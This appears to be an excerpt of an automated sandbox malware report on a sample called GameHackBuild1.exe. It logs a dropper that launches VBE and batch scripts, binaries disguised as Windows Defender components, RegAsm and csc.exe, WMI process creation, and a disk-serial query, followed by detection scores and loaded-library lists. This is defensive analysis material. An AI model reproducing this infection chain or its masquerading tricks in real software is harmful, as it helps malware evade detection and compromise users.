Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: GameHackBuild1.exe.bin.exe	Virustotal: Detection: 61%
Source: GameHackBuild1.exe.bin.exe	ReversingLabs: Detection: 63%

Source: Solara.exe	String found in binary or memory: c/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanList.insert runtime: c
Source: Solara.exe	String found in binary or memory: c/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanList.insert runtime: c
Source: Solara.exe	String found in binary or memory: C:/Program Files/Go/src/net/addrselect.go
Source: Solara.exe	String found in binary or memory: es/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: marked free object in span runtime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: VirtualQuery
Source: Solara.exe	String found in binary or memory: es/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: marked free object in span runtime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: VirtualQuery
Source: Solara.exe	String found in binary or memory: C:/Users/h3xcode/go/pkg/mod/github.com/lxn/walk@v0.0.0-20210112085537-c389da54e794/stopwatch.go
Source: Solara.exe	String found in binary or memory: C:/Users/h3xcode/go/pkg/mod/github.com/lxn/walk@v0.0.0-20210112085537-c389da54e794/stopwatch.go
Source: Solara.exe	String found in binary or memory: faceinteger overflow on token CreateBrushIndirect failedSHGetPathFromIDList failed\o/ Walk_TabPage_Class \o/\o/ Walk_WebView_Class \o/AddClipboardFormatListenerGetConsoleScreenBufferInfoempty buffer in CopyBufferhttp: invalid cookie valueread from empty dataBu

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe

File read: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe "C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe"
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\VaCm6yonii0zLXLvCqreXRVqw1.vbe"
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Process created: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe"
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Process created: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe"
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Process created: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe"
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\chainReviewdhcp\mJEJ7PbY35CMaAu5227dvHv.vbe"
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process created: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe "C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\DaJttDh54LCmoatNZvevDoWyEmexKWgun1WAXP2cdZM0egnWJQQpZtVxW.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor/runtimesvc.exe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\chainReviewdhcp\LJrjU6BhAd6hMsY1uw5hl2I0p3Jh.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe "C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe"
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get model,serialnumber
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tv1xqdyv\tv1xqdyv.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES5B8E.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSC8F87101CD76241BAB3866A995ECAD4A7.TMP"
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\VaCm6yonii0zLXLvCqreXRVqw1.vbe"	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Process created: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe"	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Process created: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe"	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Process created: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\DaJttDh54LCmoatNZvevDoWyEmexKWgun1WAXP2cdZM0egnWJQQpZtVxW.bat" "	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Process created: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe "C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\chainReviewdhcp\mJEJ7PbY35CMaAu5227dvHv.vbe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get model,serialnumber	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\chainReviewdhcp\LJrjU6BhAd6hMsY1uw5hl2I0p3Jh.bat" "	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor/runtimesvc.exe"
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tv1xqdyv\tv1xqdyv.cmdline"
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe "C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe"
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES5B8E.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSC8F87101CD76241BAB3866A995ECAD4A7.TMP"

Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe	Section loaded: sspicli.dll	Jump to behavior
